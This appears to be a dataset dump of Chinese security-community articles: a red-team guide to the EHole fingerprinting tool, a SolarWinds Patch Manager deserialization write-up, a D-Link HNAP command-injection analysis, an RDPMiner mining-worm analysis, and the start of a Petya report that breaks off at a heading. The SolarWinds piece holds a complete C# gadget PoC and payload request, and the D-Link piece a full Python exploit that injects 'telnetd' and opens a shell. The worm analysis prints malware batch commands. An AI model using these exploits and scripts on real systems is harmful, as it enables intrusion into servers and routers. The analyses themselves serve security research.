text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 利用 EHole 进行红队快速批量打点
## 0x01 前言
最近看到了关于很多红队方面的文章，如何进行信息收集，从单一目标或多个目标中进行快速查找漏洞。今天提供一种针对较多资产或目标的情况下进行批量识别目标框架进行针对性漏洞挖掘的方式。用得好可能其它队伍还在辛辛苦苦打点的时候，你已经进内网了。
## 0x02 正文
最近 [EHole](https://github.com/EdgeSecurityTeam/EHole) 更新了3.0版本，提供了 finger 与
fofaext 参数，fofaext参数主要从fofa进行批量获取 IP 的端口情况，而 finger
则进行批量进行指纹验证识别。目前开源的指纹将近1000条，基本上都是比较常遇到的系统，另外 finger 参数则可以直接识别下面格式的地址：
IP:PORT
HTTP(s)://URL
HTTP(s)://IP
HTTP(s)://IP:PORT
在红队场景下首先对多个目标进行了资产收集，如同时几千上万个IP，如何快速的从这些资产中进行获取重要的系统或者直接能 RCE 的系统呢？
可以先从fofa进行批量提取IP+PORT：
./Ehole-darwin fofaext -l /Users/r1ng/Downloads/ip.txt
测试六万个IP从FOFA提取大约需要15-20分钟左右。提取后会自动生成 results.xlsx 文件。
随后可直接将 host 列 copy 至 txt 文本中进行识别重要的系统（最终获取HTTP服务将3万条，识别10分钟左右）：
PS：指纹可自定义添加，如手里有某个系统的 0day 可指定添加指纹进行识别。
./Ehole-darwin finger -l /Users/r1ng/Downloads/url.txt
最终输出的效果如下：
各类重点系统可直接进行筛选后按指定目标进行攻击获取权限，比如shiro：
**某OA：**
**海康威视 rce等：**
........
接下来就可以进入内网随意发挥了~
## 0x03 总结
在红队作战中，信息收集是必不可少的环节。EHole可以帮助红队人员快速从网络中以及大量杂乱的资产中精准定位到易被攻击的系统和脆弱资产，从而实施进一步攻击。 | 社区文章 |
# 前言
目前[这篇文章](https://testbnull.medium.com/50-shades-of-solarwinds-orion-deserialization-part-1-cve-2021-35215-2e5764e0e4f2)中报的RCE，和作者沟通了一下发现只剩下CVE-2021–35218没有分析出来了，硬看实在看不出来，所以本文使用diff
dll的形式进行比对，最终找到了漏洞点所在。
# 分析
我使用的是JustAssembly，将新旧版本拷贝出来做比对。作者对CVE的描述是`CVE-2021–35218: Patch Manager Orion
Platform Module: Chart Endpoint Deserialization of Untrusted Data Remote Code
Execution Vulnerability`，所以我们只关注Patch Manager自身的dll以及Chart相关的功能点。
diff之后发现漏洞出现在SolarWinds.PM.Web.dll中。
具体类为SolarWinds.PM.Web.Charting.ScmChartImageHandler。
左边是补丁之后的，右边是没打补丁的。一个很明显的XmlSerializer反序列化。
没打补丁之前type直接从request中获取
打补丁之后，type从_friendlyTypes中获取
_friendlyTypes是一个白名单
所以漏洞点肯定在这里。接下来我们需要寻找对应的路由，使用vscode的全局搜索找到Orion/PM/Chart.ashx
Chart.ashx继承自ScmChartImageHandler，而ScmChartImageHandler实现了IHttpHandler接口，是一个handler，对于所有的请求都会走ProcessRequest。
那么我们直接发包就行了，接下来构造poc。
# 构造poc
没啥好说的，看过我写的dotnet反序列化文章的应该都懂。不懂的看一下这篇文章 <https://github.com/Y4er/dotnet-deserialization/blob/main/XmlSerializer.md>
using System;
using System.Collections.Specialized;
using System.Data.Services.Internal;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Reflection;
using System.Text;
using System.Web;
using System.Windows.Data;
using System.Windows.Markup;
using System.Xml.Serialization;
namespace ConsoleApp1
{
class Program
{
static void Main(string[] args)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd";
psi.Arguments = "/c ping localhost -t";
StringDictionary dict = new StringDictionary();
psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
Process p = new Process();
p.StartInfo = psi;
ObjectDataProvider odp = new ObjectDataProvider();
odp.MethodName = "Start";
odp.IsInitialLoadEnabled = false;
odp.ObjectInstance = p;
string xamlpayload = XamlWriter.Save(odp);
//Console.WriteLine(xamlpayload);
ExpandedWrapper<XamlReader, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<XamlReader, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.MethodName = "Parse";
expandedWrapper.ProjectedProperty0.MethodParameters.Add(xamlpayload);
expandedWrapper.ProjectedProperty0.ObjectInstance = new XamlReader();
XmlSerializer xmlSerializer = new XmlSerializer(expandedWrapper.GetType());
using (MemoryStream memoryStream = new MemoryStream())
{
using (DeflateStream deflateStream = new DeflateStream(memoryStream, CompressionMode.Compress))
{
xmlSerializer.Serialize(deflateStream, expandedWrapper);
deflateStream.Flush();
deflateStream.Close();
string text = Base64Encode(memoryStream.ToArray());
Console.WriteLine(text);
}
}
Console.ReadKey();
}
public static string Base64Encode(byte[] str)
{
return HttpServerUtility.UrlTokenEncode(Encoding.UTF8.GetBytes(Convert.ToBase64String(str)));
}
public static byte[] Base64Decode(string str)
{
byte[] bytes = HttpServerUtility.UrlTokenDecode(str);
return Convert.FromBase64String(Encoding.UTF8.GetString(bytes));
}
}
}
然后发包
http://192.168.137.131:8787/Orion/PM/Chart.ashx?tp=System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089&chart=bFpSTmo5b3dFSWJ2bGZvZkxCLzJSc3kyVWc4aFlWVUpWa0xhRDlUZHFuc2RiQU91L0JIWnd5YW82bi92QkFpd0ltcTd0MlRlMTU2Wlp5WXBiaHBuMmF1T3lRUmY4dXRzeUcvR0h6OFUwNllDcjdUNkVhR3FkSHhjdm9DejN6UW9lbDc4MUJJbmdEQ1A0ZFZRaE5FZFB1Vk5NaVZmSTFhNUVIVmRaL1huTE1TVitEUWNYb3VYKzdzbnVkWU9Cc1luQkM4MVA1NVMvejdGcVNiR0Nrclk1dGFLSHFncTNBNTNjVkwyUmMwT2R6TXFKY2R0cFV0K3Fwc3owYm52TmE2RGVnQ254M09JU1JmaUxQTEdRekxGa1BnYzRxU0EzejdUM1dkSnFJYzhZVFIreGNkWEZrYzlpRTRKU3Y2RUVKR3pXWnA1Z3dic1hRQTE5YkN3bWxEY2drMGRuQ09ZdEtPUU1tZGtEQ2tzTVpQQmlkcjRaZE9TK2lJYWFsTlVVU2Z0RVpCbTJlRnQ2VW9iQjU0eXB3cWt6cCsyQ2JYTEpnWldQaVEwTW8wZ0plMFdkbHZ1dGVObzNwZWZYNjF3MU45KzluWStuWkd3a1VQcWxDNGoyWTdTekMvRHBYYVUyTmU0MmpqcW1WQUp5U3FhQUxOQmdsMVRaMnhBa01ucUZVUTFqVEhFcVpkQmthZmt2NXI4WVdQdDc1UGhjWVBWQnZzYzM1T08rOEZ4TmlkVWRZanFYSjhFQjhhM2FqdkkxazFsTG8zVngySGUwc3YrQnVrVTdXSFhrZmhidStLU2p2aHZzajNPVmlyRVlYbTdMUmU5YTE2STNpK3RFTy82TFl6L0FBPT01
RCE了。
和作者沟通他说未授权是要结合CVE-2020-10148身份验证绕过来打的，我试了试没成，暂时先放着。 | 社区文章 |
## 漏洞原理
D-Link DIR-818LW Rev.A 2.05.B03和DIR-822 B1
202KRb06中，通过HNAP1协议访问`SetRouterSettings`时，`RemotePort`参数存在操作系统命令注入漏洞。在`SetRouterSettings.php`源码中，`RemotPort`参数没有经过任何检查，直接存放于`$path_inf_wan1."/web"`，并且在`iptwan.php`中的IPTWAN_build_command函数中使用`$path_inf_wan1."/web"`变量作为`iptables`的参数，同样未做检查。构造`SetRouterSettings.xml`，使`RemotePort`中包含如`telnetd`的shell命令，利用该漏洞执行非法操作系统命令。
./etc/templates/hnap/SetRouterSettings.php：
$path_inf_wan1 = XNODE_getpathbytarget("", "inf", "uid", $WAN1, 0);
#$WAN1 = "WAN-1";
$nodebase="/runtime/hnap/SetRouterSettings/";
……
$remotePort = query($nodebase."RemotePort");
……
set($path_inf_wan1."/web", $remotePort);
./etc/services/IPTABLES/iptwan.php
function IPTWAN_build_command($name){
$path = XNODE_getpathbytarget("", "inf", "uid", $name, 0);
……
$web = query($path."/web");
……
#web作为iptables的参数写入$_GLOBALS["START"]
if (query($path."/inbfilter") != "")
$inbfn = cut(query($path."/inbfilter"), 1, "-");
$hostip = query($path."/weballow/hostv4ip");
if ($hostip != "")
{
if (query($path."/inbfilter")!="") fwrite("a",$_GLOBALS["START"], $iptcmd." -p tcp --dport ".$web." "."-j CK_INBOUND".$inbfn."\n");
fwrite("a",$_GLOBALS["START"], $iptcmd." -s ".$hostip." -p tcp --dport ".$web." -j ACCEPT\n");
}
else
{
if (query($path."/inbfilter")!="") fwrite("a",$_GLOBALS["START"], $iptcmd." -p tcp --dport ".$web." "."-j CK_INBOUND".$inbfn."\n");
fwrite("a",$_GLOBALS["START"], $iptcmd." -p tcp --dport ".$web." -j ACCEPT\n");
}
……
}
PS：服务器的web目录为/htdocs/web/
## 漏洞分析
### 关于HNAP
> The Home Network Administration Protocol (HNAP) is an HTTP-Simple Object
> Access Protocol (SOAP)-based protocol that can be implemented inside of
> network devices to allow advanced programmatic configuration and management
> by remote entities.
HNAP是由Pure
Networks开发的协议，后续由Cisco管理与开发。HNAP用于网络设备之间的交互，该协议基于SOAP和HTTP，以post的方式发包。
使用HNAP：在HTTP
header中加入SOAPAction，该字段中会指明请求的操作，如Login，并向<http://[ip]/HNAP1发送数据，数据形式为xml。>
举个栗子，下图是登录时的抓包：
192.168.0.1向路由器192.168.0.2发送数据，在SOAPAction中指定了请求内容。
路由器收到之后以LoginResponse回复发送方，返回了一些登录需要的关键数据.
发送方收到之后，login的action由request变成了login，即发送用户名密码的过程，密码是由用户私钥处理过的数据。
路由器验证登录的用户名和密码，返回登录成功信息。
### 理解HNAP
为了再深入理解HNAP，查看/htdocs/cgibin二进制文件，简化流程如下：
hnap_main(){
memset(acStack1708,0,0x100);
getenv("HTTP_AUTHORIZATION");
soapaction = getenv("HTTP_SOAPACTION");
request_method = getenv("REQUEST_METHOD");
hnap_auth = getenv("HTTP_HNAP_AUTH");
cookie = getenv("HTTP_COOKIE");
referer = getenv("HTTP_REFERER");
memset(php_path,0,0x100);
//当未指定soapaction时，默认请求为GetDeviceSettings
if (soapaction == (char *)0x0) {
soapaction = "http://purenetworks.com/HNAP1/GetDeviceSettings";
……
}
else{
……
__s1 = strstr(soapaction,"http://purenetworks.com/HNAP1/Login");
if (__s1 != (char *)0x0) {
……
parse_param_value(uVar2,"Action",action);
parse_param_value(uVar2,"Username",username);
parse_param_value(uVar2,"LoginPassword",pwd);
parse_param_value(uVar2,"Captcha",captcha);
iVar1 = strcmp(action,"request");
//当action为request时
if (iVar1 == 0) {
//产生一个长度为0X32的随机字符串
//例：LVy04tz2fCRlZIu8vefr1OCKu9qTOQaktWkwOhy3rNnQfhWaKB
get_random_string(random_string,0x32);
//cookie_value为前十个字符
//例：LVy04tz2fC
strncpy(cookie_value,random_string,10);
//challenge为接下来20个字符
//例：RlZIu8vefr1OCKu9qTOQ
strncpy(random_challenge,random_string_10,0x14);
//public key为接下来20个字符
//例：aktWkwOhy3rNnQfhWaKB
strncpy(public_key,random_string_30,0x14);
sprintf(public_key_and_0,"%s%s",public_key,0);
strcpy(COOKIE,cookie_value);
strcpy(CHALLENGE,random_challenge);
//HMAC_MD5就是常见的HMAC，hash算法为MD5。这里函数的输出放在第三个参数中
//例：hmac_1=E188583458DE427B6A71C2DD04CB632C
HMAC_MD5(random_challenge,public_key_and_0,hmac_1);
……
//set challenge,privatekey,captcha
//返回soap xml
}//end of action=request
else{
if(strcmp(action,"login")==0 && cookie !=0)
{
find_uid = strstr(cookie,"uid=");
if (find_uid == (char *)0x0) goto LAB_004137fc;
//获取cookie的值
strncpy(cookie_value,find_uid + 4,10);
//检查cookie
__fd=get_cgdata_by_uid(acStack1904,cookie_value);
if (__fd < 0) {
iVar1 = -2;
goto LAB_004137fc;
}
……
//由HMAC计算口令，以hmac_1作为key,对challenge进行hmac
HMAC_MD5(CHALLENGE,hmac_1,PWD);
……
//将计算的口令与发送方中的口令比较
__fd = strcmp((char *)PWD,pwd);
if (__fd == 0) {
login_response_xml("success");
……
}
}//end of action=login
}
} //end of Login
//不是login的情况
if (hnap_auth != (char *)0x0){
……
//hnap_auth用空格分为两部分
auth_1 = strtok(hnap_auth," ");
auth_2 = strtok((char *)0x0," ");
//将auth_2和soapaction连接起来
strcpy(auth_2_soapaction,auth_2);
strcat(auth_2_soapaction,soapaction);
……
HMAC_MD5(auth_2_soapaction,hmac_1,HMAC_AUTH);
//比较auth_1和计算后的值
__fd = strcmp(auth_1,HMAC_AUTH);
if (__fd == 0) {
……
//如果不是Logout，就跳转到0x413330
__format = strstr(soapaction,"http://purenetworks.com/HNAP1/Logout");
if (__format == (char *)0x0) goto LAB_00413330;
……
}
}//end of soapaction!=0
LAB_00413330:
//在soapaction中查找最后一个“/”之后的内容为operation
__format = strrchr(soapaction,0x2f);
operation = __format + 1;
if (__format != (char *)0x0) {
sVar3 = strlen(operation);
if (operation[sVar3 - 1] == '\"') {
operation[sVar3 - 1] = 0;
}
//hnap相关的php都在/etc/templates/hnap下
snprintf(php_path,0x100,"%s/%s.php","/etc/templates/hnap/",operation);
//判断与请求相关的php是否存在，0为存在
iVar1 = access(php_path,0);
if (iVar1 == 0) {
……
snprintf(acStack1708,0x100,"%s%s.php\nShellPath=%s%s.sh\nPrivateKey=%s\n",
"/etc/templates/hnap/",operation,&var_run,operation,&DAT_00438344);
sobj_add_string(iVar4,acStack1708);
……
uVar2 = sobj_get_string();
//该函数会建立一个socket并把上面的acStack1708字符发送给socket；这个socket是与本地的xmldb_sock建立的，理解为发送给本地以执行对应的php
xmldbc_ephp(0,0,uVar2,stdout);
……
snprintf(acStack1708,0x100,"%s",operation);
iVar4 = FUN_004125c8(acStack1708,"/etc/templates/hnap//.shell_action");
//这里无论如何都会为format赋值，内容是执行一个sh脚本的命令
if (iVar4 == 0) {
__format = "sh %s%s.sh > /dev/console";
}
else {
__format = "sh %s%s.sh > /dev/console &";
}
//执行该脚本
//var_run变量对应的字符是"/var/run/"
snprintf(acStack1708,0x100,__format,&var_run,operation);
system(acStack1708);
……
}
### 漏洞执行顺序
在上面的hnap_main代码中，代入本漏洞SetRouterSettings的情况，最后会执行`sh
/var/run/SetRouterSettings.sh`，这个脚本是动态生成的，在模拟固件并执行poc成功之后查看内容（还没找到具体生成sh脚本的代码）
#!/bin/sh
echo "[$0]-->RouterSettings Change" > /dev/console
event DBSAVE > /dev/console
service HTTP.WAN-1 start > /dev/console #here！！！
xmldbc -s /runtime/hnap/dev_status '' > /dev/console
HTTP.WAN-1是一种服务，对应于/etc/services/HTTP.WAN-1.php，该服务会开启IPT.WAN-1服务
<?
include "/etc/services/HTTP/httpsvcs.php";
fwrite("w",$START,"#!/bin/sh\n");
fwrite("w", $STOP,"#!/bin/sh\n");
fwrite("a",$START,"service IPT.WAN-1 restart\n");#here!!!!
fwrite("a",$START,"service STUNNEL restart\n");
httpsetup("WAN-1");
?>
/etc/services/IPT.WAN-1.php会执行之前所说的iptables命令
<?
include "/htdocs/phplib/trace.php";
include "/etc/services/IPTABLES/iptwan.php";
IPTWAN_build_command("WAN-1");
?>
## 漏洞利用
利用脚本是漏洞原作者写好的[exp](https://github.com/pr0v3rbs/CVE/tree/master/CVE-2018-19986%20-%2019990)
import requests
import telnetlib
from hashlib import md5
import time
import math
trans_5C = "".join(chr(x ^ 0x5c) for x in xrange(256))
trans_36 = "".join(chr(x ^ 0x36) for x in xrange(256))
blocksize = md5().block_size
def hmac_md5(key, msg):
if len(key) > blocksize:
key = md5(key).digest()
key += chr(0) * (blocksize - len(key))
o_key_pad = key.translate(trans_5C)
i_key_pad = key.translate(trans_36)
return md5(o_key_pad + md5(i_key_pad + msg).digest())
def HNAP_AUTH(SOAPAction, privateKey):
b = math.floor(int(time.time())) % 2000000000
b = str(b)[:-2]
h = hmac_md5(privateKey, b + '"http://purenetworks.com/HNAP1/' + SOAPAction + '"').hexdigest().upper()
return h + " " + b
#输入IP和admin口令，通过读hnap_main的二进制，理解初始状态admin的口令为空（public_key_0：0代表空值）
IP = '192.168.0.1'
adminPw = ''
command = "telnetd" # command injection id
headers = requests.utils.default_headers()
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36"
headers["SOAPAction"] = '"http://purenetworks.com/HNAP1/Login"'
headers["Origin"] = "http://" + IP
headers["Referer"] = "http://" + IP + "/info/Login.html"
headers["Content-Type"] = "text/xml; charset=UTF-8"
headers["X-Requested-With"] = "XMLHttpRequest"
#构造一个action为request的请求发送给Login
payload = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login xmlns="http://purenetworks.com/HNAP1/"><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>'
r = requests.post('http://'+IP+'/HNAP1/', headers=headers, data=payload)
data = r.text
#通过获取的publickey计算privatekey，根据privatekey计算口令的hmac(在上文中对应的是hmac_1)
challenge = str(data[data.find("<Challenge>") + 11: data.find("</Challenge>")])
cookie = data[data.find("<Cookie>") + 8: data.find("</Cookie>")]
publicKey = str(data[data.find("<PublicKey>") + 11: data.find("</PublicKey>")])
privateKey = hmac_md5(publicKey + adminPw, challenge).hexdigest().upper()
password = hmac_md5(privateKey, challenge).hexdigest().upper()
#构造action为login的请求，发送用户名和口令
headers["HNAP_AUTH"] = HNAP_AUTH("Login", privateKey)
headers["Cookie"] = "uid=" + cookie
payload = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login xmlns="http://purenetworks.com/HNAP1/"><Action>login</Action><Username>Admin</Username><LoginPassword>'+password+'</LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>'
r = requests.post('http://'+IP+'/HNAP1/', headers=headers, data=payload)
#登录成功后访问SetRouterSettings设置路由器的一些配置，其中RemotePort被设置为command
headers["Origin"] = "http://" + IP
headers["HNAP_AUTH"] = HNAP_AUTH("SetRouterSettings", privateKey)
headers["SOAPaction"] = '"http://purenetworks.com/HNAP1/SetRouterSettings"'
headers["Accept"] = "text/xml"
payload = open('{}.xml'.format("CVE-2018-19986")).read().replace('ip', IP).replace('COMMAND', command)
print '[*] command injection'
r = requests.post('http://'+IP+'/HNAP1/', headers=headers, data=payload)
print(r.text)
print '[*] waiting 30 sec...'
time.sleep(30)
#利用成功之后，服务端已经开启了Telnet服务，攻击者可直接连服务器的Telnet
print '[*] enjoy your shell'
telnetlib.Telnet(IP).interact()
## 参考链接
【1】 <https://github.com/pr0v3rbs/CVE/tree/master/CVE-2018-19986%20-%2019990>
【2】InfoSec Handlers Diary Blog - More on HNAP - What is it, How to Use it, How
to Find it
<https://isc.sans.edu//diary/More+on+HNAP+-+What+is+it,+How+to+Use+it,+How+to+Find+it/17648>
【3】<https://www.cisco.com/web/partners/downloads/guest/hnap_protocol_whitepaper.pdf>
【4】Hacking the D-Link DIR-890L – ccSec | 漏洞人生 <http://www.vuln.cn/6237> | 社区文章 |
# 前言
近日，阿里云安全发现一种新型挖矿蠕虫RDPMiner，通过爆破Windows Server
3389端口RDP服务的方式进行挖矿木马传播，致使用户CPU占用率暴涨，机器卡顿，更被创建名为DefaultAccount的账号。攻击者可畅通无阻远程登录机器威胁用户业务和数据安全。
据该蠕虫连接的某矿池公布的HashRate，预估仅该矿池即有2000+机器连接进行挖矿，阿里云安全专家判断该挖矿蠕虫扩散性还在持续且活跃度高，且用户管理账号弱密码设置更给攻击者创造了有利的条件。
本文以RDPMiner整体攻击流程为主线，通过对入侵、获利、对抗与维持等进行详细分析，还原RDPMiner整个过程。并在文末给出专家建议，同时也提醒用户加强密码设置。
# 背景
在接到用户反馈Windows
Server服务器CPU占用率暴涨，并被创建DefaultAccount的账号后，阿里云云防火墙同步监控到这些机器向外发出大量RDP请求。阿里云安全研究人员进行分析后，发现用户主机上运行着挖矿程序，导致CPU占用率居高不下。
进一步分析，攻击者利用该蠕虫程序暴力破解RDP服务、创建用户名为DefaultAccount的账号、修改注册表、开启挖矿程序。
接着再通过这台被入侵的机器对互联网其他主机进行爆破，进而达到入侵、获利、持久化等功能。
且挖矿蠕虫的攻击者具有较强的对抗意识，大部分二进制程序都被制作成了SFXRAR自解压缩程序（Self Extracting
Archives）进行密码加密，并在执行完功能后，统一由脚本进行清理。阿里云安全监测到该蠕虫最早出现于2017年11月，持续时间长达1年多。
此次RDPMiner事件中，攻击ip来源地伊朗、美国、中国基本持平。由于中国的入侵ip很大部分是由于主机被入侵之后变成继续攻击的肉鸡，故最初发起攻击的ip以伊朗和美国居多。
# RDPMiner蠕虫攻击及传播流程解析
恶意程序示意图
如下图所示：攻击者在成功控制一台机器后，为进行下一轮的RDP爆破攻击，首先会在该机器的c:\users\administrator\desktop目录下，植入并运行名为sector-v1.exe的多功能恶意程序工具包。工具包中的程序都进行了sfxrar加密，需要输入密码才能正常运行。
恶意工具包运行界面
根据进程启动记录，攻击者使用了工具包中的c-f 4 reza，从<http://111.63.225.242:8082//c-f4r.exe>
下载了并运行了c-f4r.exe，释放出d-f.exe、m-r.exe、res.exe和A-C-M.exe等多个可执行恶意程序。这里的下载源服务器111.63.225.242与诸多入侵事件相关，根据abuseipdb网站的ip滥用记录，111.63.225.242曾多次被用户举报涉及攻击行为，值得关注。
而多个恶意程序中的A-C-M.exe在运行之后，又将进一步释放svchost.exe、ds.exe、nl.exe、user.txt、pass.txt、backdoor-reg-nl-restart.bat等恶意程序、恶意脚本和配置文件。
其中，svchost.exe执行时，一方面释放及启动挖矿程序serverGui.exe，另一方面执行下图脚本中所示命令添加前文用户反馈的DefaultAccount恶意账号，并通过操作注册表将自身添加到Windows系统启动项中，达到持久化攻击的目的。
svchost.exe文件生成示意图
而nl.exe原名为NLBrute.exe，是一款最早由俄罗斯人开发的Windows系统3389爆破软件。攻击者使用它来达到传播蠕虫，进一步扩大攻击范围的目的。
RDPMiner活动时间线
如上图所示，从2017年11月开始攻击者便开始采用各种工具进行爆破、挖矿攻击，使用过的扫描工具除了nl.exe(NLBrute)之外，还有kportscan3.exe等。同样地，为了逃避云上恶意程序的查杀，攻击者用来挖矿的工具也经历了至少两轮迭代。
挖矿工具名称变化时间线
尽管攻击者使用的挖矿工具名称、哈希值不断变化，但本质上都是开源挖矿软件xmrig经过修改而成，因此使用方式与xmrig十分相似。
# RDPMiner各模块功能
## 入侵：RDP暴力破解
通过A-C-M.exe释放出如下文件，程序启动后会调用nl.exe，该程序更为广泛使用的名称是NLBrute，专门用于对3389端口进行爆破。
A-C-M.exe运行释放文件
如图所示，程序启动后会加载文件Part1到Part17所存储的IP地址，去重后共计427975个，去重后为427934个IP，nl.exe会加载这些IP地址而后持续对外爆破半个小时，结束后调用backdoor-reg-nl-restart对程序和IP地址簿进行删除，在主机上不留下任何痕迹，由于该类动作，使得该类样本难以发现。
## 获利：挖矿
攻击者通过A-C-M.exe释放svchost.exe（路径为：C:/Windows/debug/svchost.exe），而后svchost.exe释放ServerGUi.exe（路径为：C:/Users/Administrator/AppData/Local/Temp/2/ServerGUi.exe）进行挖矿，该程序基于xmrig修改，挖矿支持指令如下所示：
当前攻击者钱包地址在某挖矿平台上的日平均Hash
Rate约25KH/s，目前全网数千台机器正在连接该矿池，这个挖矿速率意味着攻击者本次挖矿每日收益仅为约8.73美元，侧面说明在如今币价狂跌的背景下，入侵挖矿的收益不再像过去那样诱人。攻击者仍然乐此不疲，对用户而言伤害不减。
攻击者钱包地址在supportxmr.com矿池的记录
## 对抗与维持：创建RDP账号、注册表操作与痕迹清理
为了对抗安全人员的分析，攻击者对全部文件进行了SFX加密并且都设置了密码，通过运行时自解压将文件释放出并运行相关的脚本文件，如图所示是A-C-M.exe文件中的SFX脚本命令，当程序解密后会运行nl.exe文件和执行backdoor-reg-nl-restart脚本。
;The comment below contains SFX script commands
Path=C:\Users\Administrator\Desktop
Setup=nl.exe
Setup=backdoor-reg-nl-restart
Overwrite=1
Silent=1
前文提到，攻击者运行nl.exe，通过RDP服务爆破入侵之后，会通过Opppps.bat脚本添加DefaultAccount账号。而为了避免账号被用户发现并删除，svchost.exe还会运行“cmd
/c REG add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v”将自身运行加到自启动项里。
此外为避免程序运行时Windows
UAC弹框引起用户察觉，该恶意程序还包含了如下图所示的注册表命令，设置"EnableLUA"注册表项以及关闭Windows自带的防火墙。
而当执行完对外扫描任务、注册表修改等任务后，会执行backdoor-reg-nl-restart脚本，结束相关进程和清理程序释放的文件。由于对外3389端口扫描设定了时间1800秒（半小时）或3600秒（一小时），所以该类样本较难进行捕获。如图所示，是backdoor-reg-nl-restart脚本。
start taskmgr
net user administrator /active:no
...
timeout 1800
DEL /F /Q "C:\Windows\debug\user.reg"
DEL /F /Q "C:\Windows\debug\ta.reg"
DEL /F /Q "C:\Windows\debug\Dwd.reg"
taskkill /im nl.exe /f
taskkill /im nl.exe /f
taskkill /im nl.exe /f
DEL /F /Q "C:\Users\%username%\Desktop\nl.exe"
DEL /F /Q "C:\Users\%username%\Desktop\nl.exe"
DEL /F /Q "C:\Users\%username%\Desktop\nl.exe"
DEL /F /Q "C:\Users\%username%\Desktop\pass.txt"
DEL /F /Q "C:\Users\%username%\Desktop\user.txt"
DEL /F /Q "C:\Users\%username%\Desktop\settings.ini"
taskkill /im A-C-M.exe /f
DEL /F /Q "C:\Users\%username%\Desktop\A-C-M.exe"
DEL /F /Q "C:\Users\%username%\Desktop\part1.txt"
DEL /F /Q "C:\Users\%username%\Desktop\part2.txt"
...
DEL /F /Q "C:\Users\%username%\Desktop\part17.txt"
echo HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options [1]>>temp.ini
regini temp.ini
del temp.ini
net user administrator /active:yes
DEL "%~f0"
# 安全建议
针对此次RDPMiner攻击，阿里云安全向用户提供两点安全建议：
1. RDP弱密码导致的3389暴力破解仍然是Windows Server服务器的用户需要重点关注的风险，应尽量避免使用弱密码，此外可以选择购买阿里云的云防火墙实现主机暴力破解的防御和安全隔离。
2. 对于已感染的客户，建议尽快购买阿里云安全管家服务，在安全专家的指导下进行病毒清理和安全加固。
# 附录
## IOCs
## 钱包地址
493NdGNLF2C5EgQ11rYUA5gWqCLKrjY8w6Wrfev2cCXzW7UwepJ4yUv16A2zQfyWsWRk4wnGwpsUd7hLGr5TQFxYDnYK6Ta
## 矿池地址：
* pool.supportxmr.com:3333
* minexmr.com
* xmr-asia1.nanopool.org:14444
* 159.69.206.220:3333
## 恶意程序DNS请求：
min.microsoftupdcenter.info
致谢：感谢刘晋成在恶意软件分析方面的贡献 | 社区文章 |
Author: 安天
链接：<http://www.antiy.com/response/petya.html>
# 1 概述
安天安全研究与应急处理中心（Antiy
CERT）于北京时间2017年6月27日21时许关注到乌克兰银行等相关机构、政府首脑计算机遭到计算机病毒攻击的相关信息。综合各方威胁情报后，初步判断受影响最严重的国家是乌克兰（副总理Pavlo
Rozenko、国家储蓄银行（Oschadbank）、Privatbank等银行、国家邮政（UkrPoshta）、国家电信、市政地铁、乌克兰首都基辅的鲍里斯波尔机场、电力公司KyivEnergo），其他部分国家均受到不同程度的影响，包括俄罗斯（俄罗斯石油公司（Rosneft））、西班牙、法国、英国、丹麦、印度、美国（律师事务所DLA
Piper）等国家。
鉴于受到攻击目标的特殊性，为避免国内关键信息基础设施受到关联影响，安天决定启动A级安全风险预警进行应对，经数小时分析研判后，该病毒的传播方式有较大风险，但鉴于该病毒初始投放具有较强地域性特点，同时我国在“魔窟”（WannaCry）应急工作中打下了良好基础，现阶段该病毒尚未在我国大面积传播，建议将事件降为B级。
不同于传统勒索软件加密文件的行为，“必加”（Petya）是一个采用磁盘加密方式，进行敲诈。其早期版本只对MBR和磁盘分配表进行加密，并谎称全盘加密。其目前版本是否能完成全盘加密，安天分析小组尚在验证之中。
鉴于初始爆发地区的地缘敏感性、具备一定强度的扩散能力和所处的特殊攻击时点，安天目前认为这次事件不能完全排除是单纯经济目的的恶意代码攻击事件，亦不能直接判断是针对特定地区的定向攻击。我国在“魔窟”（WannaCry）应急工作中打下了良好基础，现阶段该病毒尚未在我国大面积传播，但其复合的传播手段具有较大安全风险。
安天同时提醒客户：鉴于样本会利用本机口令尝试登录其他计算机进行传播，因此进行包括口令强度在内的系统安全配置加固和及时的系统补丁策略，才可以较好的防御本病毒。安天此前就魔窟蠕虫所发布的免疫工具，对本病毒依然有效。
# 2 传播机理
